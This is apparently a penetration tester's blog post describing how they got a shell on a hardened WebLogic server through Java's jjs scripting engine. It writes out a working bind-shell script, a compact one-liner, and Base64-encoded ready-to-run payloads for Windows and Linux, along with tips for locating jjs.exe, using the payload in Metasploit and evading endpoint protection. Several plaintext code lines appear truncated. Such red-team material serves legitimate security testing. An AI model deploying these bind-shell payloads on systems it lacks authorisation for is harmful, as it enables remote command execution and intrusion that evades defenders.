A few months ago I hit a unique set of circumstances on a different engagement. Where we had an outdated version of Weblogic having a known RCE exploit. The network was setup to deny any and all reverse connections back. So a reverse shell was not an option. Add into the mix that *every* node on the network had endpoint protection software, some form of in-line traffic inspection, and you should understand they had done so many of the basics perfectly.

Pretty much every payload we lobbed at this thing didn’t work. We had less than ideal test conditions and had to infer the filtering device from behaviour, and only knew about the endpoint protection from another box.

While we assumed we had “RCE”. There was no detectable way of confirming that any payload was executing. The server lived in an area of the network that could not do external DNS. So using a Burp collaborator trick to force a detectable lookup did not confirm that the RCE even worked. Firing in the blind is hard.

We tried to write JSP webshells but were having difficulty guessing the web root etc.

We fell down trying to get bind shells. Starting with the venerable post from pentestmonkey [2]about reverse shells in various languages. I converted them all into bind shells (a post about that soon) and watched as none of them worked on that target.

Sometimes onsite work is brutal. I drove home feeling like a pretty shitty pentester having failed to get anything out of it.

Then I remembered that this is a WebLogic server so it would have Java installed. The bit of pentestmonkey’s cheat sheet for Java is also not perfect since it clearly relies on compiling Java. To compile Java you need to have the Java Development Kit (JDK) installed which in fairness a WebLogic server probably has.

I came up with two plans for attack the following morning:

  1. Make a one liner using jjs
  2. Consider echoing line by line my Java payload into a /tmp/ file, and then a “javac /tmp/” and finally “java /tmp/exploit”.

The second one seems like it will work too but in the end I didn’t have to do that because option 1 worked.

Java One Liner Using jjs

The jjs shell has a “load” command which loads and executes a file. Your payload can be located on the victim’s hard disk or you can load things over HTTP. I show examples of both below:


There is an obvious quick win if you can get a reverse connection back from your victim. You simply deliver your payload over HTTP and you never touch disk. Obviously in my narrative here I could not use HTTP so I needed to find another solution.

jjs is an interactive command prompt meaning that the user has to be there to send commands via stdin. To do this you can simply use “echo” to print the command you want and simply redirect it into jjs:


Sweet. The example syntax would be this:

echo load("c:\wherever\payload.txt"); | jjs.exe 

That works if you want to stage your payload on disk. In addition to “load” it turned out that jjs supports “eval”. God I love me an “eval”. We will get to that in a minute but first lets see a bind shell:

var port=4444;      // Port to bind on
var cmd='cmd.exe';  // OS command to execute. 
// Bind to port
var serverSocket=new;
// Accept user connection
while(true){ // this while keeps the port bound when client disconnects
var s=serverSocket.accept();
// Redirect stdin, stderr and stdout from process to client.
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while( pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On Linux simply change “cmd.exe” to “/bin/bash”. The above has comments and extra white space to aid your understanding of it. I then stripped that back to create a one-line payload:

var serverSocket=new;while(true){var s=serverSocket.accept();var p=new java.lang.ProcessBuilder('cmd.exe').redirectErrorStream(true).start();var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while( pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();}

The above has a lot of characters in there which can be problematic when we use echo to pass our one liner into jjs. Fortunately, Java has a Base64 decoder, so we can just use that. The following syntax shows how this would work with jjs:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

When I tested this, I found that a default install of Java on Linux placed jjs in the user’s path. This means that you can use the above syntax directly.

On Windows the binary is not in the path and even the “JAVA_HOME” environment variable is an optional luxury. To cope with that I figured out the command below:

cd "c:\Program Files\Java\jre1.8.*\bin" && jjs.exe

This works because “cd” accepts wildcards in the path. Then the “&&” executes “jjs.exe” only if the previous command successfully executed. Try the above out on Windows to confirm it works for you. If the system has a version of the JDK and the JRE installed simultaneously you can use a double wildcard as shown below:

cd "c:\Program Files\Java\j*1.8.*\bin" && jjs.exe

It doesn’t matter which version of jjs.exe we get so long as it is part of an install newer than 1.8 which makes the above work. If at first you don’t succeed try “1.9”, or “1.10” for newer versions.

Java Bind Shell One Liner for Windows

Finally, the one-liner that you are looking for as a payload on Windows is:

cd "c:\Program Files\Java\j*1.8.*\bin" && echo eval(new java.lang.String(java.util.Base64.decoder.decode(‘dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCdjbWQuZXhlJykucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBwaT1wLmdldElucHV0U3RyZWFtKCkscGU9cC5nZXRFcnJvclN0cmVhbSgpLCBzaT1zLmdldElucHV0U3RyZWFtKCk7dmFyIHBvPXAuZ2V0T3V0cHV0U3RyZWFtKCksc289cy5nZXRPdXRwdXRTdHJlYW0oKTt3aGlsZSghcy5pc0Nsb3NlZCgpKXt3aGlsZShwaS5hdmFpbGFibGUoKT4wKXNvLndyaXRlKHBpLnJlYWQoKSk7d2hpbGUoIHBlLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGUucmVhZCgpKTt3aGlsZShzaS5hdmFpbGFibGUoKT4wKXBvLndyaXRlKHNpLnJlYWQoKSk7c28uZmx1c2goKTtwby5mbHVzaCgpO2phdmEubGFuZy5UaHJlYWQuc2xlZXAoNTApO3RyeSB7cC5leGl0VmFsdWUoKTticmVhazt9Y2F0Y2ggKGUpe319O3AuZGVzdHJveSgpO3MuY2xvc2UoKTt9’))); | jjs.exe

What a long-winded way of getting around to a one liner but awesome fun figuring that out.

Java Bind Shell One Liner for Linux

Here is the equivalent if you want to do the same on Linux/Unix:

echo "eval(new java.lang.String(java.util.Base64.decoder.decode('dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCcvYmluL2Jhc2gnKS5yZWRpcmVjdEVycm9yU3RyZWFtKHRydWUpLnN0YXJ0KCk7dmFyIHBpPXAuZ2V0SW5wdXRTdHJlYW0oKSxwZT1wLmdldEVycm9yU3RyZWFtKCksIHNpPXMuZ2V0SW5wdXRTdHJlYW0oKTt2YXIgcG89cC5nZXRPdXRwdXRTdHJlYW0oKSxzbz1zLmdldE91dHB1dFN0cmVhbSgpO3doaWxlKCFzLmlzQ2xvc2VkKCkpe3doaWxlKHBpLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGkucmVhZCgpKTt3aGlsZSggcGUuYXZhaWxhYmxlKCk+MClzby53cml0ZShwZS5yZWFkKCkpO3doaWxlKHNpLmF2YWlsYWJsZSgpPjApcG8ud3JpdGUoc2kucmVhZCgpKTtzby5mbHVzaCgpO3BvLmZsdXNoKCk7amF2YS5sYW5nLlRocmVhZC5zbGVlcCg1MCk7dHJ5IHtwLmV4aXRWYWx1ZSgpO2JyZWFrO31jYXRjaCAoZSl7fX07cC5kZXN0cm95KCk7cy5jbG9zZSgpO30=')));" | jjs

Notice the double-quotes around the string which the Windows payload didn’t need? For those with eagle eyes (and a set of Base64 decoding goggles), the encoded string was modified to set the command to “/bin/bash”.

This was the one which worked for me on the customer engagement.

Using it with metasploit

Finally, if you want to use the same techniques via Metasploit it works with “generic\shell” payload. Provide the relevant one-liner as the value of the “PAYLOADSTR” being careful to escape all: double-quotes, single-quotes and backslashes by prefixing with a backslash.

If in doubt look at the value when using “show options” as that displays the final form that will be executed on the target. If your quotes or slashes are missing then escape harder!


I was rather happy with my shiny shell so I was going to get this blog post out. Then I had that thought which triggers doubt in every security researcher. Has someone got here before me? Turns out that yes someone had.

Take a bow Brett Hawkins. At the time I was doing my root dance he had posted reference [3]. Which covers things brilliantly.

However, he is using “jrunscript” instead of jjs. His post came out between me finding jjs on the first job and then getting the good shit on the second job. Seems that the theory of Multiple Discovery holds true again 😀

Brett has followed up his first post with another one at reference [4]. Loving his work.

Making it more dangerous

Why have I bothered posting my research when Brett has pretty much nailed it? A simple list of them:

  • He has blogged about “jrunscript” which I have omitted from this post precisely because he covered it.
  • His posts are applicable only when the victim is running JDK. This is not the most common form of Java. The bulk will have JRE installed.
  • Therefore the things I have listed above I would argue are much more dangerous. They will affect ANYTHING which is running Java.

Of course to trigger any of this you need to have command execution on the victim’s computer. The reason I am being so open here is that this is a commonly available scripting engine which can be integrated into various things. It is not a zero day exploit which will get anyone in to anything.

What you can do is establish bind and reverse TCP shells in a new language where the payloads are pretty universal. You can re-implement some of the amazing PowerShell libraries in Java and have another option which might go undetected.

If the trick in Red Teaming is currently to go living off the land (see reference [5]. What this gives people is another string to go plucking.